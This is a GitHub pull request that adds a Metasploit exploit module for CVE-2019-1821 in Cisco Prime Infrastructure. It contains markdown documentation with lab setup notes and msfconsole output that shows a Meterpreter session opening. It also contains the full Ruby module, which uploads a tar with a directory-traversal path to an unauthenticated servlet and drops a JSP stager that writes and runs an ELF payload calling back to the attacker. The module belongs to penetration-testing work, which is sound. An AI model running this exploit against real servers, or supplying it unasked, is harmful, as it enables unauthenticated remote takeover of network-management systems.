Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Cisco Prime Infrastructure Health Monitor TarArchive Remote Code Execution #11956

Merged
merged 6 commits into from Jun 19, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
86 changes: 86 additions & 0 deletions documentation/modules/exploit/linux/http/cpi_tararchive_upload.md
@@ -0,0 +1,86 @@
## Description

This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that the TarArchive Java class the HA Health Monitor component uses does not check for any directory traversals while unpacking a Tar file, which can be abused by a remote user to leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps directory, and gain arbitrary remote code execution. Note that authentication is not required to exploit this vulnerability.

## Vulnerable Application

Cisco Prime Infrastructure releases prior to 3.4.1, 3.5, and 3.6, also EPN Manager releases prior to 3.0.1. The Metasploit module is specifically designed to target CPI 3.4.0.

## Notes on Setup

While developing the exploit, I happended to run into several issues that made the process more difficut. It was really because I didn't have the best hardware to work with, but in case you are trying to set up Cisco Prime Infrastructure as VMs like me, you may want to read this first.

Special thanks to Steven Seeley (mr_me) for providing some of the most important setup notes himself.

**Hardware Requirements**

There are two machines you want to set up using the same ISO, the first is called the "primary" server, and the other is "secondary" (High Availability) server. They both require the same hardware:

* 4 CPU Cores.
* 12288 MB of RAM (12GB).
* 350GB of hard drive space, but you may still run out of it in days.
* Both VMs should be on the same network.

**SCP**

In case you want to transfer files, you will probably use scp. Before you do that, run the following script as admin on CPI. It will generate the credentials you need to scp files:

```
/opt/CSCOlumos/bin/getSCPcredentials.sh
```

By default, the CPI's SSH server's authentication method is password, you may end up running scp like this:

```
scp -r -o PreferredAuthentications=password admin@ip:/tmp/something.zip .
```

**Out of Space Issues**

Cisco Prime Infrastructure requires a lot of space on the primary server. If it ever reaches to a point where it shuts down unexpectedly, you may not be able to bring the NCS services back again (such as port 80, 443, or 8082). At least for me, I couldn't figure out. If that's the case, you may need to reinstall the VM.

**Unstable HA Connection**

Sometimes the primary and secondary may experience some difficulty staying connected. If this happens, try to do the following on both machines:

1. Run `ncs stop` to stop the services
2. Run `ncs cleanup`
3. Run `ncs start`, this may take 10 to 30 minutes to finish.
4. Finally, run `ncs status` to make sure they are talking.

If the secondary server isn't working with the primary, then the HealthMonitor service may not be in the exploitable condition.

## Verification Steps

1. Start msfconsole
2. Do `use exploit/linux/http/cpi_tararchive_upload`
3. Do `set payload` to select the preferred payload
4. `set rhosts [ip]`
5. `run`, this should give you a shell

## Scenarios

**Running the check**

```
msf5 exploit(linux/http/cpi_tararchive_upload) > check
[*] 192.168.0.23:8082 - The target service is running, but could not be validated.
```

**Exploiting the service**

```
msf5 exploit(linux/http/cpi_tararchive_upload) > run

[*] Started reverse TCP handler on 192.168.0.21:4444
[*] Uploading tar file (3072 bytes)
[*] Executing JSP stager...
[*] Sending stage (985320 bytes) to 192.168.0.23
[*] Meterpreter session 3 opened (192.168.0.21:4444 -> 192.168.0.23:57127) at 2019-06-07 02:50:13 -0500
[!] This exploit may require manual cleanup of '/tmp/UdqUlWsFjp.bin' on the target
[!] This exploit may require manual cleanup of 'apache-tomcat-8.5.16/webapps/ROOT/kmeEmkzdep.jsp' on the target

meterpreter >
[+] Deleted /tmp/UdqUlWsFjp.bin
[+] Deleted apache-tomcat-8.5.16/webapps/ROOT/kmeEmkzdep.jsp
```
202 changes: 202 additions & 0 deletions modules/exploits/linux/http/cpi_tararchive_upload.rb
@@ -0,0 +1,202 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Cisco Prime Infrastructure Health Monitor TarArchive Directory Traversal Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Cisco Prime Infrastructure. The issue is that
the TarArchive Java class the HA Health Monitor component uses does not check for any
directory traversals while unpacking a Tar file, which can be abused by a remote user to
leverage the UploadServlet class to upload a JSP payload to the Apache Tomcat's web apps
directory, and gain arbitrary remote code execution. Note that authentication is not
required to exploit this vulnerability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Steven Seeley', # Original discovery, PoC
'sinn3r' # Metasploit module
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Cisco Prime Infrastructure 3.4.0.0', { } ]
],
'References' =>
[
['CVE', '2019-1821'],
['URL', 'https://srcincite.io/blog/2019/05/17/panic-at-the-cisco-unauthenticated-rce-in-prime-infrastructure.html'],
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce'],
['URL', 'https://srcincite.io/advisories/src-2019-0034/'],
['URL', 'https://srcincite.io/pocs/src-2019-0034.py.txt']
],
'DefaultOptions' =>
{
'RPORT' => 8082,
'SSL' => true,

},
'Notes' =>
{
'SideEffects' => [ IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'Privileged' => false,
'DisclosureDate' => 'May 15 2019',
'DefaultTarget' => 0))

register_options(
[
OptPort.new('WEBPORT', [true, 'Cisco Prime Infrastructure web interface', 443]),
OptString.new('TARGETURI', [true, 'The route for Cisco Prime Infrastructure web interface', '/'])
])
end

class CPITarArchive
attr_reader :data
attr_reader :jsp_name
attr_reader :tar_name
attr_reader :stager
attr_reader :length

def initialize(name, stager)
@jsp_name = "#{name}.jsp"
@tar_name = "#{name}.tar"
@stager = stager
@data = make
@length = data.length
end

def make
data = ''
path = "../../opt/CSCOlumos/tomcat/webapps/ROOT/#{jsp_name}"
tar = StringIO.new
Rex::Tar::Writer.new(tar) do |t|
t.add_file(path, 0644) do |f|
f.write(stager)
end
end
tar.seek(0)
data = tar.read
tar.close
data
end
end

def check
res = send_request_cgi({
'rport' => datastore['WEBPORT'],
'SSL' => true,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'webacs', 'pages', 'common', 'login.jsp')
})

unless res
vprint_error('No response from the server')
return CheckCode::Unknown
end

if res.code == 200 && res.headers['Server'] && res.headers['Server'] == 'Prime'
return CheckCode::Detected
end

CheckCode::Safe
end

def get_jsp_stager(out_file, bin_data)
# For some reason, some of the bytes tend to get lost at the end.
# Not really sure why, but some extra bytes are added to ensure the integrity
# of the code. This file will get deleted during cleanup anyway.
%Q|<%@ page import="java.io.*" %>
<%
String data = "#{Rex::Text.to_hex(bin_data, '')}";
FileOutputStream outputstream = new FileOutputStream("#{out_file}");
int numbytes = data.length();
byte[] bytes = new byte[numbytes/2];
for (int counter = 0; counter < numbytes; counter += 2)
{
char char1 = (char) data.charAt(counter);
char char2 = (char) data.charAt(counter + 1);
int comb = Character.digit(char1, 16) & 0xff;
comb <<= 4;
comb += Character.digit(char2, 16) & 0xff;
bytes[counter/2] = (byte)comb;
}
outputstream.write(bytes);
outputstream.close();
try {
Runtime.getRuntime().exec("chmod +x #{out_file}");
Runtime.getRuntime().exec("#{out_file}");
} catch (IOException exp) {}
%>#{Rex::Text.rand_text_alpha(30)}|
end

def make_tar
elf_name = "/tmp/#{Rex::Text.rand_text_alpha(10)}.bin"
register_file_for_cleanup(elf_name)
elf = generate_payload_exe(code: payload.encoded)
jsp_stager = get_jsp_stager(elf_name, elf)
tar_name = Rex::Text.rand_text_alpha(10)
register_file_for_cleanup("apache-tomcat-8.5.16/webapps/ROOT/#{tar_name}.jsp")
CPITarArchive.new(tar_name, jsp_stager)
end

def execute_payload(tar)
# Once executed, we are at:
# /opt/CSCOlumos
send_request_cgi({
'rport' => datastore['WEBPORT'],
'SSL' => true,
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, tar.jsp_name)
})
end

def upload_tar(tar)
post_data = Rex::MIME::Message.new
post_data.add_part(tar.data, nil, nil, "form-data; name=\"files\"; filename=\"#{tar.tar_name}\"")

# The file gets uploaded to this path on the server:
# /opt/CSCOlumos/apache-tomcat-8.5.16/webapps/ROOT/tar_name.jsp
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'servlet', 'UploadServlet'),
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'headers' =>
{
'Destination-Dir' => 'tftpRoot',
'Compressed-Archive' => 'false',
'Primary-IP' => '127.0.0.1',
'Filecount' => '1',
'Filename' => tar.tar_name,
'FileSize' => tar.length
}
})

(res && res.code == 200)
end

def exploit
tar = make_tar
print_status("Uploading tar file (#{tar.length} bytes)")
if upload_tar(tar)
print_status('Executing JSP stager...')
execute_payload(tar)
else
print_status("Failed to upload #{tar.tar_name}")
end
end
end